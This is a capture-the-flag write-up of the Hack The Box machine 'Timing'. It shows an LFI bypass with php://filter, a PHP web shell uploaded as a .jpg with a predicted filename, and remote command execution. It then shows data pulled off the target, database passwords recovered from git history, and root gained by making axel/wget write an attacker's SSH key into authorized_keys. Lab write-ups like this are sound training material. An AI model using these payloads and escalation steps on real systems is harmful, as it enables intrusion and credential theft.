Timing

Timing

A memorable box I wanted to write about

Medium difficulty box

hackthebox

RECON

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-25 15:49 CET
Nmap scan report for timing.htb (10.10.11.135)
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.37 seconds

FUZZING

starlord@HAL-9000:~$ ffuf -u http://10.10.11.135/FUZZ.php -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
ffuf
   v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.135/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.hta                    [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
footer                  [Status: 200, Size: 3937, Words: 1307, Lines: 116]
header                  [Status: 302, Size: 0, Words: 1, Lines: 1]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
image                   [Status: 200, Size: 0, Words: 1, Lines: 1]
index                   [Status: 302, Size: 0, Words: 1, Lines: 1]
login                   [Status: 200, Size: 5609, Words: 1755, Lines: 178]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1]
profile                 [Status: 302, Size: 0, Words: 1, Lines: 1]
upload                  [Status: 302, Size: 0, Words: 1, Lines: 1]
:: Progress: [4702/4702] :: Job [1/1] :: 1803 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

LOCAL FILE INCLUSION

LFI can be found here:

http://10.10.11.135/image.php?img=/etc/passwd

but we are met with "hacking attempt detected" on a blank page.

We can bypass the issue with the php wrapper php://filter as follows:

http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd

decode results as base64 and find home path for the user aaron:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash

And get any php file as below:

http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=any.php

upload.php is the target.

FOOTHOLD

we grab code with this trick again:

http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php
#upload.php
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

md5("$file_hash") will be calling the string inside the quotes, and not the value of the variable $file_hash.

After making sure i was on the same timezone settings, I made a php file called filename.php. At the same time we upload our starshell.jpg, we need to run filename.php to catch the right hash, which will change every minute, so I piped it with the uniq command, to limit our output to unique values.

#starshell.jpg
<?php system($_GET[cmd]);?>
#filename.php
<?php
$upload_dir = "images/uploads/";
$file = "starshell.jpg";

$file_name = md5('$file_hash' . time()) . '_' . $file;

$target_file = $upload_dir . $file_name;

#echo $file_name;
echo $target_file;
echo PHP_EOL;
?>
#md5.sh
while true
do
        php -f filename.php 
done
./md5.sh | uniq > hashes #this will print only one of each in the file 'hashes'

With ‘hashes’ used as a wordlist, we can find the filename with ffuf as below:

starlord@HAL-9000:~/Bureau/Fun/Hackthebox/Timing$ ffuf -u http://10.10.11.135/FUZZ -w hashes 

ffuf
       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.135/FUZZ
 :: Wordlist         : FUZZ: hashes
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

images/uploads/837f8a5c1d9200b9902f86944c68c9b8_starshell.jpg [Status: 200, Size: 31, Words: 3, Lines: 2]
:: Progress: [18/18] :: Job [1/1] :: 42 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

In order to trigger the exploit, just visit this url and enjoy remote code execution!

http://10.10.11.135/image.php?img=images/uploads/837f8a5c1d9200b9902f86944c68c9b8_starshell.jpg&cmd=id

USER

I couldn’t manage a reverse shell in that state but after some more enumeration we can find password in git logs for /opt/source-files-backup.zip

http://10.10.11.135/image.php?img=images/uploads/837f8a5c1d9200b9902f86944c68c9b8_starshell.jpg&cmd=cp /opt/* .

http://10.10.11.135/image.php?img=images/uploads/837f8a5c1d9200b9902f86944c68c9b8_starshell.jpg&cmd=python3 -m http.server 4567
wget 10.10.11.135:4567/sources-files-backup.zip
7z x sources-files-backup.zip
cd sources-files-backup/.git
git log
git checkout "enter git log hash here"

According to the comments in the previous commits, db_conn.php has our password

#recent db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd'); ?>
#old db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd'); ?>
ssh aaron@timing

ROOT

aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils

serve from attack box

python3 -m http.server 8000

aaron@timing:~$ sudo /usr/bin/netutils 
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.xx.xx:8000/starky Initializing download: http://10.10.xx.xx:8000/starky File size: 2602 bytes Opening output file starky Server unsupported, starting from scratch with one connection. Starting download
[ 0%] ..
Downloaded 2.5 Kilobyte in 0 seconds. (25.34 KB/s)
netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >> 2

when trying the two options we realize the options call 2 different unix programs: axel and wget. Those two programs actually dot rc files to store some working variables such as the default path or filename. Having a close look at the man page led me to notice we can use .rc files to actually link /root/.ssh/authorized_keys with the name of the file we intend to download. This trick will work with both commands.

#.axelrc
defaut_filename = /root/.ssh/authorized_keys

wget manual

#.wgetrc
output_document = /root/.ssh/authorized_keys

Now we simply serve a self generated ssh public key (called mine index.html in order to trigger the default_filename from axelrc) and run netutils binary to bring it to the victim.

We can now connect as root from attacker, using the private key with no password. (except if you set one when generating your ssh key)

ssh -i id_rsa root@timing

Success-flag

SENTIMENT

I really liked solving the foothold part, which involved a fair bit of code review. It was quite a success to finally find the right uploaded file name, all thanks to a good timing. For the User part, passwords in git commits is becoming quite common these days… I think the root part was a nice “think outside the box” challenge, but felt a bit too easy as it didn’t require too much enumeration to find. All of the attack paths were nicely laid out, and I enjoyed practicing some php code.

uploaded 02.04.2022